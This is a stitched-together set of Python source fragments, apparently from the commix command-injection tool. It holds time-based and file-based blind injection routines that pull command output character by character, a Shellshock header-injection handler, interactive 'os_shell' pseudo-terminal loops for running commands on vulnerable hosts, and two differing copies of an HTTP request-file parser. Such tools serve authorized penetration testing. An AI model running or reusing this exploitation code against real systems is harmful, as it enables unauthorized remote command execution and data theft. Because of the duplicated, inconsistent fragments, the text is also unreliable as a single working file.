menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) logs.print_logs_notification(filename, url) raise SystemExit() if settings.VERBOSITY_LEVEL != 0 or not new_line: print(settings.SINGLE_WHITESPACE) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) print("\n" + settings.print_output(output) + "\n") # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False else : sys.stdout.write("\r") sys.stdout.flush()
def logfile_parser(): """ Warning message for mutiple request in same log file. """ def multi_requests(): print(settings.SINGLE_WHITESPACE) err_msg = "Multiple" if menu.options.requestfile: err_msg += " requests" elif menu.options.logfile: err_msg += " targets" err_msg += " are not supported, thus all coming" if menu.options.requestfile: err_msg += " requests " elif menu.options.logfile: err_msg += " targets " err_msg += "will be ignored." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() return False """ Error message for invalid data. """ def invalid_data(request): print(settings.SINGLE_WHITESPACE) err_msg = "Specified file " err_msg += "'" + os.path.split(request_file)[1] + "'" err_msg += " does not contain a valid HTTP request." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if not os.path.exists(request_file): print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() else: try: if menu.options.requestfile: with open(request_file, 'r') as file: settings.RAW_HTTP_HEADERS = [line.strip() for line in file] settings.RAW_HTTP_HEADERS = [ header for header in settings.RAW_HTTP_HEADERS if header ] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] settings.RAW_HTTP_HEADERS = '\\n'.join( settings.RAW_HTTP_HEADERS) except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(error_msg)) raise SystemExit() if os.stat(request_file).st_size != 0: with open(request_file, 'r') as file: request = file.read() else: invalid_data(request_file) single_request = True pattern = r'HTTP/([\d.]+)' if len(re.findall(pattern, request)) > 1: single_request = multi_requests() if len(settings.HTTP_METHOD) == 0: http_method = request.strip().splitlines()[0].split()[0] settings.HTTP_METHOD = http_method else: http_method = settings.HTTP_METHOD if "\\n" in request: request = request.replace("\\n", "\n") request_url = re.findall(r"" + " (.*) HTTP/", request) if request_url: # Check last line for POST data if len(request.splitlines()[-1]) != 0: result = [item for item in request.splitlines() if item] multiple_xml = [] for item in result: if checks.is_XML_check(item): multiple_xml.append(item) if len(multiple_xml) != 0: menu.options.data = '\n'.join( [str(item) for item in multiple_xml]) else: menu.options.data = result[len(result) - 1] else: try: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace( "=", "=" + settings.INJECT_TAG, 1) except IndexError: invalid_data(request_file) # Check if invalid data if not request_url: invalid_data(request_file) else: request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" prefix = "http://" for line in request.splitlines(): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join( [str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header elif re.findall( r"User-Agent: " + "(.*)", line) and not (menu.options.agent or menu.options.mobile): menu.options.agent = "".join([ str(i) for i in re.findall(r"User-Agent: " + "(.*)", line) ]) # Cookie Header elif re.findall(r"Cookie: " + "(.*)", line): menu.options.cookie = "".join( [str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header elif re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join( [str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: prefix = "https://" elif re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([ str(i) for i in re.findall(r"Authorization: " + "(.*)", line) ]).split() menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type == "basic": menu.options.auth_cred = base64.b64decode( auth_provided[1]).decode() elif menu.options.auth_type == "digest": if not menu.options.auth_cred: print(settings.SINGLE_WHITESPACE) err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " print(settings.print_critical_msg(err_msg)) raise SystemExit() # Add extra headers else: match = re.findall(r"(.*): (.*)", line) match = "".join([str(i) for i in match]).replace("', '", ":") match = match.replace("('", "") match = match.replace("')", "\\n") # Ignore some header. if "Content-Length" or "Accept-Encoding" in match: extra_headers = extra_headers else: extra_headers = extra_headers + match # Extra headers menu.options.headers = extra_headers # Target URL if not menu.options.host: invalid_data(request_file) else: menu.options.url = prefix + menu.options.host + request_url if single_request: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: sub_content = http_method + " " + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) if menu.options.cookie: sub_content = "Cookie: " + menu.options.cookie print(settings.print_sub_content(sub_content)) if menu.options.data: sub_content = "POST data: " + menu.options.data print(settings.print_sub_content(sub_content)) # eof
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL >= 2: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: sys.stdout.write("\n" + settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = settings.info_msg no_result = False elif len(response.info()) > 0 and cve in response.info(): percent = settings.info_msg no_result = False else: percent = str(float_percent)+ "%" if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() info_msg = "The (" + check_header + ") '" info_msg += url + Style.RESET_ALL + Style.BRIGHT info_msg += "' seems vulnerable via " + technique + "." if settings.VERBOSITY_LEVEL < 2: print("") print(settings.print_bold_info_msg(info_msg)) sub_content = "\"" + payload + "\"" print(settings.print_sub_content(sub_content)) # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL != 0: print("") while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input(settings.print_question_msg(question_msg)) else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again= "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL raise SystemExit() else: # Pseudo-Terminal shell print("") go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell= "" if len(gotshell) == 0: gotshell= "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) if go_back: break else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") elif settings.VERBOSITY_LEVEL >= 2: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except TypeError: break elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) continue break else: continue if no_result: if settings.VERBOSITY_LEVEL != 2: print("") err_msg = "All tested HTTP headers appear to be not injectable." print(settings.print_critical_msg(err_msg)) raise SystemExit() except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n") + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() except _urllib.error.URLError as err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print("") print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: print(settings.print_critical_msg(err_msg + ".")) raise SystemExit()
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" if menu.options.file_write or menu.options.file_upload: minlen = 0 else: minlen = 1 found_chars = False info_msg = "Retrieving the length of execution output. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL > 1: print("") for output_length in range(int(minlen), int(maxlen)): if alter_shell: # Execute shell commands on vulnerable host. payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) else: # Execute shell commands on vulnerable host. payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if output_length > 1: if settings.VERBOSITY_LEVEL >= 1: pass else: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() if settings.VERBOSITY_LEVEL == 1: print("") if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Retrieved the length of execution output: " + str(output_length) print(settings.print_bold_debug_msg(debug_msg)) else: sub_content = "Retrieved: " + str(output_length) print(settings.print_sub_content(sub_content)) found_chars = True injection_check = False break # Proceed with the next (injection) step! if found_chars == True : if settings.TARGET_OS == "win": cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 check_end = 0 check_start = time.time() output = [] percent = "0.0%" info_msg = "Presuming the execution output." if menu.options.verbose < 1 : info_msg += ".. (" + str(percent) + ")" elif menu.options.verbose == 1 : info_msg += "" else: info_msg += "\n" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: if alter_shell: # Get the execution output, of shell execution. payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: # Get the execution output, of shell execution. payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if settings.VERBOSITY_LEVEL == 0: output.append(chr(ascii_char)) percent = ((num_of_chars*100)/output_length) float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" if percent == 100: float_percent = settings.SUCCESS_MSG else: float_percent = ".. (" + str(float_percent) + ")" info_msg = "Presuming the execution output." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: output.append(chr(ascii_char)) injection_check = False break check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) # Check for empty output. if output == (len(output) * " "): output = "" else: check_start = 0 if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() else: pass #print("") check_how_long = 0 output = False if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session: print("") return check_how_long, output
def logfile_parser(): """ Warning message for mutiple request in same log file. """ def multi_requests(): print(settings.SUCCESS_STATUS) warn_msg = "Multiple" if menu.options.requestfile: warn_msg += " requests" elif menu.options.logfile: warn_msg += " targets" warn_msg += " are not supported, thus all coming" if menu.options.requestfile: warn_msg += " requests " elif menu.options.logfile: warn_msg += " targets " warn_msg += "will be ignored." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() return False """ Error message for invalid data. """ def invalid_data(request, single_request): if single_request: print(settings.FAIL_STATUS) err_msg = "Specified file " err_msg += "'" + os.path.split(request_file)[1] + "'" err_msg += " does not contain a valid HTTP request." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if not os.path.exists(request_file): print(settings.FAIL_STATUS) err_msg = "It seems that the '" + request_file + "' file, does not exist." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() else: try: if menu.options.requestfile: with open(request_file, 'r') as f: settings.RAW_HTTP_HEADERS = [line.strip() for line in f] settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) request = open(request_file, 'r') except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." print(settings.FAIL_STATUS) print(settings.print_critical_msg(error_msg)) raise SystemExit() words_dict = {} for word in request.read().strip().splitlines(): if word[:4].strip() == "GET" or word[:4].strip() == "POST": words_dict[word[:4].strip()] = words_dict.get(word[:4].strip(), 0) + 1 # Check if same header appears more than once. single_request = True if len(words_dict.keys()) > 1: single_request = multi_requests() for key in words_dict.keys(): if words_dict[key] > 1: single_request = multi_requests() # Check for GET / POST HTTP Header for http_header in ["GET","POST"]: request = open(request_file, "r") request = request.read() if "\\n" in request: request = request.replace("\\n","\n") request_url = re.findall(r"" + http_header + " (.*) ", request) if request_url: if not single_request: request_url = request_url[0] if http_header == "POST": # Check for POST Data. result = [item for item in request.splitlines() if item] multiple_xml = [] for item in result: if checks.is_XML_check(item): multiple_xml.append(item) if len(multiple_xml) != 0: menu.options.data = '\n'.join([str(item) for item in multiple_xml]) else: menu.options.data = result[len(result)-1] else: try: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) except IndexError: invalid_data(request_file, single_request) break # Check if invalid data if not request_url: invalid_data(request_file, single_request) else: request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" prefix = "http://" for line in request.splitlines(): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header elif re.findall(r"User-Agent: " + "(.*)", line) and not (menu.options.agent or menu.options.mobile): menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) # Cookie Header elif re.findall(r"Cookie: " + "(.*)", line): menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header elif re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: prefix = "https://" elif re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type == "basic": menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() elif menu.options.auth_type == "digest": if not menu.options.auth_cred: print(settings.FAIL_STATUS) err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " print(settings.print_critical_msg(err_msg)) raise SystemExit() # Add extra headers else: match = re.findall(r"(.*): (.*)", line) match = "".join([str(i) for i in match]).replace("', '",":") match = match.replace("('","") match = match.replace("')","\\n") # Ignore some header. if "Content-Length" or "Accept-Encoding" in match: extra_headers = extra_headers else: extra_headers = extra_headers + match # Extra headers menu.options.headers = extra_headers # Target URL if not menu.options.host: invalid_data(request_file, single_request) else: menu.options.url = prefix + menu.options.host + request_url if single_request: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() if menu.options.logfile: info_msg = "Parsed target from '" + os.path.split(request_file)[1] + "' for tests :" print(settings.print_info_msg(info_msg)) sub_content = http_header + " " + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) if http_header == "POST": sub_content = "Data: " + menu.options.data print(settings.print_sub_content(sub_content)) # eof
